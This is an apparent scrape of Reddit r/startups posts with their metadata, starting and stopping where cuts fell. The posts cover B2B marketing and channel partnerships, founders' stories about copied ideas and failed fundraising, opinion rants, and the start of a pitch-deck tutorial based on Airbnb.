5-9 technicians they should be spending money on Google ads, Facebook ads, billboards, etc. If not, we don't waste our time, or their time. This was just the beginning and how we started with our first product which was a lead gen product. As we grew an ancillary AI chat product that can cater to multiple industries, we expanded our target market with similar requirements. Now we target home service companies, dental practices, medical practices, attorneys, real estate companies, home builders, and larger enterprise deals. It's important to pinpoint who your target customer is so that you don't waste time and money on the wrong people. Your target customer might change as time goes on (it definitely has for us). Be mindful of deals that you are closing and try to recognize similarities between them all. **Where do your potential customers go? Primarily the decision makers!** First you need to identify who the decision makers are from the company! In our case, the decision makers for both of our products are typically the marketing managers and sometimes the owners/CEOs. It's not always the CEO so be mindful of this. So where do we reach these people? **Are they on Facebook?** **Are they on Instagram?** **Are they on Reddit? (Most of our clients don't even know what Reddit is haha)** **Are they on LinkedIn?** **Do they check their emails? How do we even get their emails?!** **How can we get in front of them in person?** **How do they make their purchasing decisions? Online, in person, via demos...** These are all questions you need to ask yourself. A lot of times you will know where your target customer DOES NOT go, so you can eliminate those from the list. For example, a lot of our customers are 40+ years old and have very specific purchasing patterns. Because of this, we didn't invest our time into marketing on Instagram. For us, our most successful marketing campaigns come from in person events, email marketing, LinkedIn marketing (paid and organic), and retargeting on Facebook. Trade shows and conferences are huge for us. We typically bring 5 people from our team to have 2 people at our booth and the other 3 running around the event grounds talking to ANYONE THEY CAN. Clients, other vendors for partnerships, manufactures, literally anyone. We close deals on the spot, schedule demos for the upcoming weeks, and begin partnership conversations. Not only that, but people start to recognize our brand. After the event, we had collect so many emails, schedule meetings, and always purchase the event email list if we could. This is used to email market and our sales team would call everyone and say something like ""we were the booth with the nerf guns and gave away the free bags."" By the way, free bags at events are HUGE because everyone becomes a walking billboard for you. ;) Now that they have seen us in person, we would add EVERYONE on LinkedIn (if they had one) and set up some paid LinkedIn ads to the companies in attendance. Then we set up some basic Facebook retarget ads so they are seeing us everywhere for the next month. All of this makes the sales team's job much easier when they are calling the potential customers. Everyone is basically a warm lead at this point knowing we are a legit brand/product. We close multiple deals per day, per rep in the coming weeks after an event. **Who do your potential customers currently work with? (Their existing relationships)** Now that we're closing a lot of 'one off deals', we would think... ""how do we 10x our growth""? What's slowing us down? With our AI chatbot, we install on a website, so during every sales conversation, we would have to get in front of the agency who controls their website. BOOM. ""WE HAVE TO BUILD PARTNERSHIPS WITH THE AGENCIES."" They are the ones who control the websites. How do we incentive them and speed up our growth? This was the start of our channel sales/marketing strategy. Give the agencies a revenue share to sell to their existing clients. We are very generous with our revenue share, and we have the best product in the market so it's a no brainer for both parties. Now instead of closing 10 deals a week, we can close 50-100+ because of our channel partners. Our dev team built the backend and we made the process as simple as possible for all of our partners. Now we're writing checks for tens of thousands of dollars to our partners every month. Better than spending it on marketing and investing in massive sales teams. Our main focus has become growth through channel partners. We have a small sales team and our margin is higher with them, but we grow faster through our partners. Side note... This mentality can be translated to B2C through influencer marketing. Who are your consumers following? Instagram models are making a living for getting paid to feature certain products. YouTubers also get paid to more money than their CPMs to feature products on their channel. If you can find the right people, it works like a charm. **Where do those existing relationships go?** In our situation, LINKEDIN is a goldmine. Not just from a standpoint of adding/messaging, but we pay for LinkedIn ads ever day. Once you add their decision makers on LinkedIn, start doing more paid ads, more organic posts showcasing top clients, the snowball effect begins. We try to schedule as many calls per week with agencies to get them reselling our product. We also meet a lot of people in person at our events so those conversations become pretty easy. Eventually, the agencies started messaging us. For larger partners, it's pretty standard to fly out to meet in person and get terms hashed out. Again, for B2C, your potential customers might be spending hours on Instagram, Facebook, YouTube, etc. Influencer marketing works really well and can get a massive return. &#x200B; \------------------------------------ This is my mindset for marketing. Who are the target companies, who makes the decisions, and how do I get in front of them? The ideology is pretty simple and just all about executing and making things happen! Any questions of feedback would be appreciated! Hope this has helped some of you and I'm excited to do some more of these write-ups moving forward!",scruggs92,407,81,1547153764,/r/startups/comments/aendoj/im_a_founder_and_chief_marketing_officer_of_an_8/,https://www.reddit.com/r/startups/comments/aendoj/im_a_founder_and_chief_marketing_officer_of_an_8/,self.startups,True,,,,, 1e0fc7a,startups,My idea was stolen after I built in public,"I am an iOS app creator. At first, I embraced ""build in public"" to attract user attention and gather feedback. I shared design sketches and interactive features, seeking engagement and insights, which proved beneficial. However, as I disclosed revenue and growth metrics, things took a turn. Competitors gradually began imitating, even outright copying my work. It prompted introspection—did I err in being too transparent? Should some aspects not have been made public? Now, I'm reconsidering what sensitive product details—such as revenue figures and intricate designs—should remain confidential. Have you faced similar challenges? How do you view ""build in public""?",Difficult-Grass-6859,404,185,1720668907,/r/startups/comments/1e0fc7a/my_idea_was_stolen_after_i_built_in_public/,https://www.reddit.com/r/startups/comments/1e0fc7a/my_idea_was_stolen_after_i_built_in_public/,self.startups,True,,,,, m2fzy3,startups,A VC I pitched gave my idea to their portfolio company. And they copied it.,"I made this new reddit account to post this anonymously and I will leave out identifying details, but I want to share a story about what has happened to me, and I want to start a discussion around this, get advice, hear other stories. I am the founder of a pre revenue post product startup that is raising its seed round. We have been pitching VCs for a few months, and we recently gained traction, but it was hard going for a while. We pitched this one VC, that is a prominent albeit not tier 1 VC. Sent a cold email, got a email with questions, then was asked to make a video pitch, then got an actual meeting with a partner, only to be told a week later that the market was too broad and they did not want to move forward. No biggie. But one of their portfolio companies is an indirect competitor, and has already raised a few million a couple years ago but hasn’t really reached PMF or any kind of break out success. I was browsing linkedin one week after I was rejected by this VC to see a post about a new product by this company. To my utter shock, they had opened up a waitlist to beta test a product that was literally exactly what I pitched this VC. Even had multiple lines stolen right out of my deck. I am in utter disbelief and shock at the depravity of such an unethical move. One day, I will share the names, but that will not be today. Needless to say, they don’t know everything we know, they nor do they have the technical progress we have, and our entire company is dedicated to this whereas this is just another product by them. I am not overly worried, but still, its not pleasant. We are moving forward regardless and will just have to work 3 times as hard. Thoughts, advice?",Shaftedbyavc123,402,173,1615430616,/r/startups/comments/m2fzy3/a_vc_i_pitched_gave_my_idea_to_their_portfolio/,https://www.reddit.com/r/startups/comments/m2fzy3/a_vc_i_pitched_gave_my_idea_to_their_portfolio/,self.startups,True,,,,, pgn3v7,startups,"If you can’t code, learn to sell","As someone whose been huge into tech forever, but was never smart enough/had enough motivation to learn to program, if you cannot sell it’ll be tough to find a cofounder. I currently sell a semi complex Technical SaaS solution, and mastering business development/sales has allowed me to find a brilliant technical cofounder. Our startup product isn’t even developed but I’m still cold calling future prospective customers and collecting emails, and this motivates him to continue programming and building the software. If you can’t code, learn to sell. Hot take - all a startup business truly needs to survive is a seller and a coder. Everything else comes next. Good luck!",Thebreezy_1,401,91,1630605508,/r/startups/comments/pgn3v7/if_you_cant_code_learn_to_sell/,https://www.reddit.com/r/startups/comments/pgn3v7/if_you_cant_code_learn_to_sell/,self.startups,True,,,,, hum3ix,startups,"Don't listen to VCs telling you ""think big"". They push you take huge risks so that your startup fits their portfolio made of many such bets. Your company has to reflect your risk profile, not anyone else. It's not gonna be them finding themselves with nothing to show for if the company goes bankrupt","So that's typical of the VC jargon, ""think big"", ""be bold"", ""not fear incumbents"", ""move fast"", ""break things"". In the end it all means this: 1) They like the idea 2) They like the team 3) They like the vision 4) THEY don't like how conservative you are being VCs think in bets, so for an investment to be worth their while it has to be aggressive in the vision, execution and risk profile, so a failure or a bankruptcy doesn't really mean that much for a VC, their money is made on the single startup which becomes successful. **You on the other hand, you only have this horse to ride, there are no alternative bets, you are essentially monodimensional and non-diversified.** Never give in to a VC and change your risk profile because they ask you to do so, because at the end of the day **when the company fails it's not gonna be them finding themselves with nothing to show for after 5 years of hard work and sleepless nights** Always stick to your guns and keep the risk profile which works best for you, never compromise for equity. Alternative: **If you do compromise, don't be dumb about it, don't believe your own hype (not to mention the one fed you by VCs), pay yourself accordingly. Extract 700k-1mm from the company as your salary every given year! If it's a tech startup even more than that 1.25-1.5mm is the appropriate salary and it has to be NET of taxes. If it's a tech startup in the Valley you can do 2-2.5mm net of taxes**",AjaxFC1900,400,80,1595254925,/r/startups/comments/hum3ix/dont_listen_to_vcs_telling_you_think_big_they/,https://www.reddit.com/r/startups/comments/hum3ix/dont_listen_to_vcs_telling_you_think_big_they/,self.startups,True,,,,, 60qmol,startups,"How I burned through $700,000 and have nothing to show for it: My true startup story","It was a little over a year ago today I was up skiing with my in-laws in Utah when I got the fateful call. With no explanation whatsoever, our lead investor was pulling out of our Series A. I was shocked. I was stunned, and most of all I was completely screwed. Our company was going pretty well; 7 employees, a bunch of excited investors, we'd done 500,000 visits in the past month - everything was clearly up and to the right. So I had no qualms of pushing our little remaining funding until the end line while we closed up our round. Surely, I thought, we would be able to close this billionaire who loved our product and was so excited he was almost giddy at his chance to invest. $1.5m you say? Sure, we can find room. No, we don't need to raise a bridge round just in case; we'll just take this guy's $1.5 million, another $200k here and there, and before you know it our $2m round is full. We have another couple years ahead of us. Until for without warning a single guy killed our company with one phone call, not even explaining why. Maybe he had serious concerns about our future. Maybe he had something bad for lunch that morning. Maybe he was getting divorced or some of his other companies weren't performing well or he'd had a bad day in the stock market - I'll never know. All I knew is that we were done. The other investor-hopefuls when they heard this billionaire was pulling out? Scattered. I could barely get the words out before they cut me off and hung up the phone. So we had to flail and lay everyone off (including myself) within the next two days to avoid becoming insolvent. It was December 23. Merry Christmas, everyone that trusted me and gave us money. I went back to our lead investor, knowing we'd need another 4-5 months of cash to start another fundraise and take it through to the finish line. He offered me 2 months' worth and recommended I cut my CTO, telling me he didn't think I'd ever make more than the $60,000/year I was making because I didn't have any skill or charisma. This is the guy that gave me $500,000 a year earlier. Go figure. Oh, and I ended up taking on $20,000 in personal debt just to make everyone whole. The first thing I did was went out and got a job that paid $120k (f*** you, investor), and started putting my time and effort into side projects. I started one in January that is now on track to book $180,000 in revenue this year (I think it'll eventually blow that out of the water), am looking at quitting my job in the next little while. I got my first term sheet yesterday, and I'll be turning that one down. We're going to bootstrap this one all the way, answer to no one, rely on revenue instead of pageviews, and I should probably make enough to start talking to a therapist :) Anyway, thanks for indulging my rant. If I were to go back I would make sure everything I do leads to more freedom, and not being beholden to some billionaire's whims. There are a lot of ways to do that (even if you raise money), and I have some serious regrets and made some mammoth mistakes, but things turned out in the end. This stuff's hard. Best of luck to you all.",tianan,398,148,1490133389,/r/startups/comments/60qmol/how_i_burned_through_700000_and_have_nothing_to/,https://www.reddit.com/r/startups/comments/60qmol/how_i_burned_through_700000_and_have_nothing_to/,self.startups,True,,,,, p6eppl,startups,A billion dollar company is interested in buying my startup,"I’ve been running a SaaS company for 7 years now. In the last 2 years business just took flight, and we’re definitely satisfied about our solid market and the results. We never had interest in selling, but today a big foreign company showed interest in the business, and asked for a videocall next week. They know the business is going well and that’s why they want to buy it. How should we behave during the videocall? Should I prepare something to show, or should I just be answering questions? I’m really not interested in selling, so I’m listening only if the offer is outstanding, should I be honest from the beginning? Thanks in advance for your help!",elpala,396,152,1629241167,/r/startups/comments/p6eppl/a_billion_dollar_company_is_interested_in_buying/,https://www.reddit.com/r/startups/comments/p6eppl/a_billion_dollar_company_is_interested_in_buying/,self.startups,True,,,,, i2sswf,startups,A perspective of working in the Startup world for 8 yrs,"8 yrs have passed since I quit my corporate job to start a career in the startup world. In these 8 yrs, I have founded 3 startups and worked in 3. Some of the time I have spent doing miscellaneous projects. But what a rewarding journey it has been. It's not that I have earned a lot of money or a lot of respect or recognition. I am still a pretty unknown and normal person. But the experience of all these years is something I cherish.  The most important thing I have learned is that you have to solve problems and not get bogged down by them. The other is to stay positive in whatever situation you are in, things do improve. I have made a lot of friends at this time and experienced a lot of different challenges that aren't there in a 9-5 job. I have been bruised, hit hard, but appreciated also. Is there a discontent that I couldn't make it big and earn a name for myself? Would I have been happier if I had achieved ""externally"" a lot more? I don't know. But I don't feel unhappy at this time. I am not an expert in any field. More like a jack of all trades, but that is okay. I can learn more about each field as I go along. Also, I can hire specialists to do the job for me. In the end, I will say It's been a hell of a ride. A lot of my beliefs have been shattered, a lot of new beliefs have been formed. And I try to keep an open mind.  Edit: Mods pls remove this if not relevant.",[deleted],394,38,1596440095,/r/startups/comments/i2sswf/a_perspective_of_working_in_the_startup_world_for/,https://www.reddit.com/r/startups/comments/i2sswf/a_perspective_of_working_in_the_startup_world_for/,self.startups,True,,,,, 46s1mx,startups,Fuck you and your newsletter popups.,"Hey motherfucker, you've been on our website for 2 seconds. You don't know anything about us yet but SIGN UP FOR OUR NEWSLETTER or we'll punch you in the dick! Okay maybe a little exaggerated but this is a trend I've been noticing a lot more in the past couple months and it's really starting to annoy me. I just don't understand. People constantly say that it helps their conversions and that ""an email list is the most valuable thing you can have"" but I just don't buy it. Sure, you'll get some sign ups but how many sales are you losing as a result? I immediately close the tab when I get a newsletter popup. This notion that you've completely lost a sale if someone doesn't buy on their first visit to your website is so shortsighted. Let people learn about you, do their research, bookmark you, come back when they're not at work, etc. If your product is good and it's what they want they WILL buy from you. Of course, this applies to real products from companies who are going to be around in more than a year and would like to establish some sort of brand. If you're just reselling a generic dildo you found on AliExpress go nuts with your shitty popups.",hoonestly,388,145,1456003828,/r/startups/comments/46s1mx/fuck_you_and_your_newsletter_popups/,https://www.reddit.com/r/startups/comments/46s1mx/fuck_you_and_your_newsletter_popups/,self.startups,True,,,,, 9rrgjs,startups,Get a job,"...is the single best answer to the most common startup questions, especially from people straight out of college trying to figure out how to start a company. ""I can't afford a developer/lawyer/incorporation."" Get a job. Save your money. Use that. ""Investors won't return my emails/say I'm too early."" Get a job. Save your money. Use that. ""I don't know what problem to solve."" Get a job. You'll learn the mechanics of that industry and see how deals go down. Look for problems - with your company's workflow, with your coworkers' personal lives, with your suppliers, and with your customers. Look for opportunities to put deals together from that position. A business development or sales gig is especially perfect for that reason; it might enable you to put a deal together and have revenue on day 1. ""I can't find good co-founders/employees."" Get a job. There's no better measure of someone's future performance than their past performance, and working with people in your company and within folks in the broader industry will clue you into the best developers, marketers, pr people, ops people, etc in your area. If you're aggressive about meeting people and asking questions. There's also been more than one founder that met their investors indirectly through a former employer. Most importantly, if getting a mid-level role at a company seems daunting, I can promise that actually starting a company is way harder. All the skills you'll learn navigating that process - pitching yourself, creating a good narrative, convincing people of your ideas, navigating workplace culture/politics, learning to be as highly productive as you can, and managing budgets/other people ideally - are skills that are absolutely essential for startup execution. If you take 3-5 years to do this and play it right, you'll end up with 1) intimate knowledge of an industry, 2) strong experience in whatever function you had, 3) $100K-$150K in savings if you're being smart financially, and 4) tons of connections - to potential customers, cofounders, investors, partners, and employees, all of which you'll need at some point. Imagine taking a crack at the startup game with all of the above? Plus unique insight due to your experience? And the comfort of knowing that you have plenty of savings and a resume/skills that can land you another job?",throwawayparker,388,104,1540612995,/r/startups/comments/9rrgjs/get_a_job/,https://www.reddit.com/r/startups/comments/9rrgjs/get_a_job/,self.startups,True,,,,, pfojuk,startups,Share Your Startup - September 2021 - Upvote This For Maximum Visibility!," [r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! &#x200B; Tell us about your startup in a comment within this submission. Follow this template: * **Startup Name / URL** * **Location of Your Headquarters** * Let people know where you are based for possible local networking with you and access to local resources * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \-------------------------------------------------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \-------------------------------------------------- **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,382,468,1630479672,/r/startups/comments/pfojuk/share_your_startup_september_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/pfojuk/share_your_startup_september_2021_upvote_this_for/,self.startups,True,,,,, rovjnt,startups,"Sell first, build later","After 8 years of being an entrepreneur in marketing and tech i discovered that 90% of all startups fail not because they dont have a product but because no one gives a sh*t. And while most wantrepreneurs still think their top secret heity teity business idea is worth a billion dollars customers know better. And guess what: your tinder for X isnt even close of being worth realising and no, you wont become the next mark zuckerberg just by pretending to be a tech talent because you once made a wordpress website for your friends moving business. And even when you are one of the few highly talented coding kids who managed to understand complex algorithms before having your first kiss - business is not about writing the most beautiful code, but about understanding your target audience and to be more precise, their needs! So dont even consider typing a single line in your pumped up IDE or setting up a new repository on github before understanding this thing and one thing only: You first get to know your customers and then build a product! And while this might sound easy as cake I can hear your brain rattling even though this is a post! Instead of wasting your precious time on doing things no one needs, hiring top designers to make you a barely pleasant logo for an arm and a leg and dreaming about success you should start thinking about the deepest needs of your target audience. First sell your product, then build it! Edit: thank you folks for the overwhelming appreciation. I hope you have a nice Christmas and iterate soon on your products :)",fapp1337,382,127,1640519635,/r/startups/comments/rovjnt/sell_first_build_later/,https://www.reddit.com/r/startups/comments/rovjnt/sell_first_build_later/,self.startups,True,,,,, d6xbo9,startups,[Unpopular opinion] Too many startups based on apps/web services that no one needs,"Every time I take part in a startup-oriented networking event/bootcamp/seminar/whatever there is always one stat popping up: around 90% of startups fail. This usually leads A LOT of very talented people to an extremely pessimistic perspective on starting/working for a startup. On the other hand, I believe that this dreadful 90% is inflated by the tremendous amount of ""startups"" revolving around apps or web services. These are definitely the more ""noob-friendly"" sectors and are also not particularly capital-intensive to start. So pretty much everyone who has an ""original idea"" (and a great deal of lack of self awareness) joins the ranks of entrepreneurs and calls himself/herself CEO/Founder/King of the World. The most baffling things I read (here on Reddit, but also around the web) are people surprised that their startup failed for lack of ""product-market fit"" (which btw is usually reported as the #1 cause of failure). Or, even worse, people trying to figure out solutions to imaginary problems (usually some corporate service bullshit or the N-th dating app/social network). The world of actual startups is filled with incredibly interesting innovations that are drowned by the sheer quantity of crap that ""wantrepreneurs"" are putting out on a daily basis hoping to hit a lucky shot. No one needs your stupid app, deal with it. Sorry for the rant, just needed to get this off my chest",Nerv050,380,167,1568996719,/r/startups/comments/d6xbo9/unpopular_opinion_too_many_startups_based_on/,https://www.reddit.com/r/startups/comments/d6xbo9/unpopular_opinion_too_many_startups_based_on/,self.startups,True,,,,, 87j7ap,startups,"How to make a pitch deck: Follow along as I recreate a famous Airbnb pitch deck, slide by slide, using the pitch deck formula created by a legendary Venture Capital firm.","Hi Guys, I've been designing pitch presentations all my (professional) life and have cringed so many times watching shark tank. Most pitches there flat out stink with people falling into two categories: - Not enough information - Way too much information That's a shame because making a pitch is not that hard. You just need to know the **formula**. And that formula is well known, because: **It is the format recommended by the legendary venture capital firm Sequoia Capital.** So today, I'm going to use that format and re-design a famous Airbnb pitch. I'm goinggoing to improve the original pitch (at least I like to think so...) in every way, based on the [Sequioa guidelines](https://www.slideshare.net/PitchDeckCoach/sequoia-capital-pitchdecktemplate). And in other good news, the deck is **only 10 slides long** (+ one extra slide)... So, let’s dive in! Note: If you want to read the article with (much) better formatting you can also find it here: [Anatomy of a Perfect Startup Pitch Deck – 11 Critical Pages](https://bluetieslides.com/anatomy-perfect-startup-pitch-deck-11-critical-pages/) EDIT 1: I have received a couple of PMs asking me to help with their pitch deck. I don't want to do that. Go here instead http://firstround.com/philosophy/#pitch-assist I don't know them or endorse them but they seem like the real deal. Before we begin: Each section is formatted the same way. 1. Start with the Airbnb slide (if they have one) 2. Give my comments and detail, what should be in it (based on Sequoia guidelines) 3. Redesign the slide 4. Sum up, what should be in the slide --- #Slide #1: What is the purpose and mission of the company? On the first page of your slide deck, you should simply write the mission of your company in a single sentence. To us, this concept can be quite high-flying so let’s look at some company purpose examples from their early investor presentations: Facebook: “Making the world more open and connected”, (which was changed to “Give people the power to build community and bring the world closer together” in 2017) Airbnb: “The mission is to live in this world where one day you can feel like you're home anywhere and not in a home, but truly home, where you belong” YouTube: “To become the primary outlet of user-generated video content on the Internet, and to allow anyone to upload, share, and browse this content."" As such, the first slide is quite simple, we have just a headline and a purpose statement. However, it is very important and showing your passion for the product or service you. After all, if you can’t be passionate about it how are you going to convince others it’s so great? https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-2.jpg --- #Slide #2: The problem you are trying to solve or the “nod your head” phase Next up, you are going to describe the problem your product is trying to solve. We have also coined this “The Head-Nod Phase” because if your potential investors aren’t nodding their heads at this point… well, chances are they’ll not invest in you. On the slide, you should describe the problem in a simple way investors can easily understand and here are some key pointers to have in mind: Is at a must-solve problem or a nice-to solve problem? In short, how painful is this for customers? - How do customers and users solve the problem today? Some older technology or manually? - What are the issues with the current solutions that enables you to capture this market? - Is it an obvious problem? If, not then what is your proof that the problem exists? Now, that doesn’t sound so hard so let’s look at what Airbnb did: https://bluetieslides.com/wp-content/uploads//2018/03/Airbnb-pitch-slide-2.jpg - Price is an important concern for customers booking travel online - Hotels leave you disconnected from the city and its culture - No easy way exists to book a room with a local or become a host Now, you’ll likely be nodding your head: Before Airbnb, this was an extremely common problem that most if not all people had experienced when traveling. Also, notice that this opens several reasons why you should use Airbnb: - The first reason is fully based on price, i.e. use Airbnb and save money: Speaks to the budget-oriented buyer - Disconnect from the culture of the city. This speaks more to the culturally oriented and nomad type of customer, that usually stay longer at a place and engages with the locals Having the latter angle ensured Airbnb got a lot of love from digital nomads and it became cool to use it – if they only had the budget angle, this probably wouldn’t have happened. **Now, this is one thing Airbnb postponed until later in their slide deck.** In line with Sequoia, we recommend also outlining how the customer addresses the issue today. Airbnb waited until later in their presentation. They didn’t do that directly, instead, they implicitly stated that people were using CouchSurfing.com and Craigslist to offer temporary housing. Here’s what we would have done. Today people are forced into one of two solutions for user-to-user housing: - Craigslist: Serves as local classifieds for temporary housing à lacks validation for both buyer and seller - Couchsurfing.com: Community based on sharing principles with no economic incentive to rent out. And here’s the final slide we would have put together for Airbnb: https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-3.jpg Note that this slide addresses all our bullets from the beginning: - Level of pain: It is a very painful problem for both users and customers - How’s the problem solved today? The problem is solved today with older technology - What are the issues with current technology? Highlights several issues with the current technology - Is it an obvious problem? Yes, as people are already solving it through other avenues To sum up, slide #2 should address the following: - Describe the pain of the customer (or the customer’s customer) - Outline how the customer addresses the issue today --- #Slide #3: The solution you offer (or the let’s get excited slide!) By this time, you should already have the attention of your audience – now it’s time to get them excited. To do that, you need to blow them away with the solution you offer to the particular problem from slide #2. Here’s how Airbnb did it: https://bluetieslides.com/wp-content/uploads//2018/03/Airbnb-pitch-slide-3.jpg What do you think of the slide? Before you make up your mind here is our take: - It’s a bit underwhelming - We get the idea, but we’re not particularly excited by it So, what would make it better? Well, for starters let’s look at the Sequoia guidelines again. For the solution slide they are: - Demonstrate your company’s value proposition to make the customer’s life better - Show where your product physically sits - Provide use cases As you can see, Airbnb only did the first and that’s why it becomes underwhelming. Now, in our example, we would naturally include the two others on the slide as well and here’s the solution slide we would have made for Airbnb. https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-4.jpg At least we’re excited by the idea now and it just shows how vital the information on where the company sits and especially the use cases are important. In our mind, a solution is good, but providing case examples is even better. Summing up slide 3, here’s what it should contain: - Demonstrate your company’s value proposition to make the customer’s life better - Show where your product physically sits - Provide use cases --- #Slide #4: The then and now slide, aka the why now slide On slide #4, there’s probably a bit more digging to do, and this is where storytelling comes in. Basically, the investor wants to know two things: - How has this market developed over time? - If it’s such a great idea, why has no one ever done this? I also refer to this as “recent trends that have made this solution possible”. ###How has the market developed over time? In saying how this market has developed over time there are two options: 1. A boring list of things that have happened over time 2. A chance to already address market sizing, competitors, and validation of the idea Naturally, I prefer going with option 2, where you can also bring some humor and edge into the presentation. This increases the chances of the investor’s remembering you. Now, Airbnb didn’t have this slide in their presentation, but if they did, the historical evolution of the market could have been something like this: - Staying with locals has been popular since the Birth of Christ. Mary and Joseph found no place at the Inn and stayed with a local - In the last 50 years, bed and breakfasts have been popular with travelers. Here you are basically invited into the homes of people and get to share in their lives - In the 2000’s, Couchsurfing has become popular which is based on people letting spare room for travelers ###Recent trends that have made this possible Moving on from that, we now need to define the recent trends that have made this possible. Again, this serves as a double chance to also demonstrate pain points that demonstrate, why the timing is so great. I would set this up with a few “then and now columns”. This highlights the pain points that have previously been associated with the industry and shows why now is such a great time for Airbnb to become a major hit. https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-5.jpg A few comments on the then and now boxes: - There has been a security issue for hosts (and travelers). You have been letting people into your homes who might have bad intentions. This is solved with social vetting. - Travelers have had no way to judge whether the host was good or not. Hotels.com has solved this for hotels while Airbnb solves this for user-to-user travel. - The gig economy is making it socially acceptable to let out your rooms and make an extra dime on the side Summing up slide #4, here’s what you need in it: - Set-up the historical evolution of your category - Define recent trends that make your solution possible --- #Slide #5: The prospective buyer and the size of the market We are now getting to the slide in the deck you have the least control over: The size of the market. And unfortunately, the size of the market is also a huge determinant in “how rich you can get”. Naturally, the larger the market you can serve, the higher a return the investor can get and the more they’ll pay for your company. Let’s again start by seeing how Airbnb did this: https://bluetieslides.com/wp-content/uploads//2018/03/Airbnb-pitch-slide-5.jpg Again, a slide where the message gets across, however, several things are lacking. But first off, let’s start with something Airbnb totally skipped: The typical customer. Here’s our take on the initial (early adopter) of Airbnb: - Aged 20-40 - Culturally curious and aware of the budget This should be relatively simple for most companies and believe us: If you don’t know your typical customer you won’t raise any money. ###Market sizing: What is TAM, SAM, and SOM? Next up we get to the size of the market. This section should include three things: - Total Addressable Market (“TAM”). This is all the people who can use your product - Serviceable Available Market (“SAM”). A part of TAM who are likely to use your product - Serviceable Obtainable Market (“SOM”). The subset of your SAM, that you can reasonably expect to get as customers over the next 3 years Now, a lot of start-ups struggle with this so let’s take a step back to explain these. First off, here’s a graphical interpretation of the three: https://bluetieslides.com/wp-content/uploads//2018/03/TAM-SAM-and-SOM-300x300.jpg Still confused? No worry, and let’s again take Airbnb as an example: ###Total addressable market The TAM of Airbnb would be the worldwide hotel and bnb market. Basically, if you could only book any kind of stay through Airbnb the revenue of the company would be equal to TAM… … which is not going to happen. ###Serviceable addressable market Let’s be more realistic instead. As Airbnb was named Air Bed and Breakfast when it started, it would be more natural to say the SAM would be equal to the entire Bed and Breakfast market. Now some of you might say this is too small a market because some hotel users will (and have) shifted to Airbnb – and you are right. But meeting investors, it is a good idea to err on the side of caution if (for no other reason) than the fact that they have seen so many pitches where the market sizing is completely off (if you watch Shark Tank you’ve probably seen this and seen, how angry the sharks get at unrealistic expectations). For TAM and SAM, you’ll probably have to find market reports or similar, to get a feel for the size of the market. ####The bottom-up market sizing approach: A lot of people struggle with the bottom-up approach of the SAM so here’s how we do it: The approach uses simple math to estimate the size of the market, combined with some market statistics. Investors love to see this as they can easily track your assumptions. Be aware, that these assumptions can also be a trap, as investors will judge you hard if you are too optimistic about your assumptions. Here’s how to do it: 1. Start with the TAM 2. Estimate the number of transactions in the market per year 3. Estimate the average transaction value (this can be either a market figure or a figure based on your own numbers) ###Serviceable Obtainable Market The SOM is more forgiving. This is usually represented as a percentage of the SAM. This could, for example, be capturing 20% of the bed and breakfast market. Now you might think you’re done, but investors love to see a growing market. For that, it’s a good idea to include the annual growth rate of the market (“CAGR”) – this will typically be included in the market reports where you have found your data. Putting it all together, here’s how our final market slide would look for Airbnb. https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-6.jpg To sum up, the market slide should contain: - Identify/profile the customer you cater to - Calculate the TAM (top-down), SAM (bottom-up) and SOM --- #Slide #6: Detailing competition and showing why you're superior This is one slide where Airbnb did a good job, so let’s start with their example: https://bluetieslides.com/wp-content/uploads//2018/03/Airbnb-pitch-slide-9.jpg There are many ways to visualize the market, but the one Airbnb used is by far our favorite: The “Gartner Magic Quadrant”. In this 2x2 matrix, you define the two most important points of differentiation in your industry and plot your competitors on this – and Airbnb did that well. Airbnb highlights all transactions are online and that they are more affordable than their competitors which is easy to understand. They also didn’t fall into one of the traps that many startups fall into: Not identifying any competitors. They had already used Couchsurfing and Craigslist previously in the deck to show social proof, so naturally, these two are on the slide. They also addressed both Hostels.com and Hotels.com as clear competitors. This is genius as it shows that their market could be much larger than just Couchsurfing and Craigslist and instead compete with the wider Hostel and Hotel markets as well. Now, one thing that Airbnb didn’t have on their slide is listing their competitive advantages. This can be shown in a number of ways, but we like to set up a simple matrix highlighting the advantages over our product compared to each of our competitors. Putting it all together, here’s how we would have made the Airbnb competition slide. https://bluetieslides.com/wp-content/uploads//2018/03/Startup-pitch-deck-slide-7.jpg Summing up, here the two things your competition slide should contain: - The 2x2 Gartner Magic Quadrant with your competitors - Highlight your competitive advantages --- #Slide #7: Showcasing your superior product to get investors talking Here’s how Airbnb described their product: 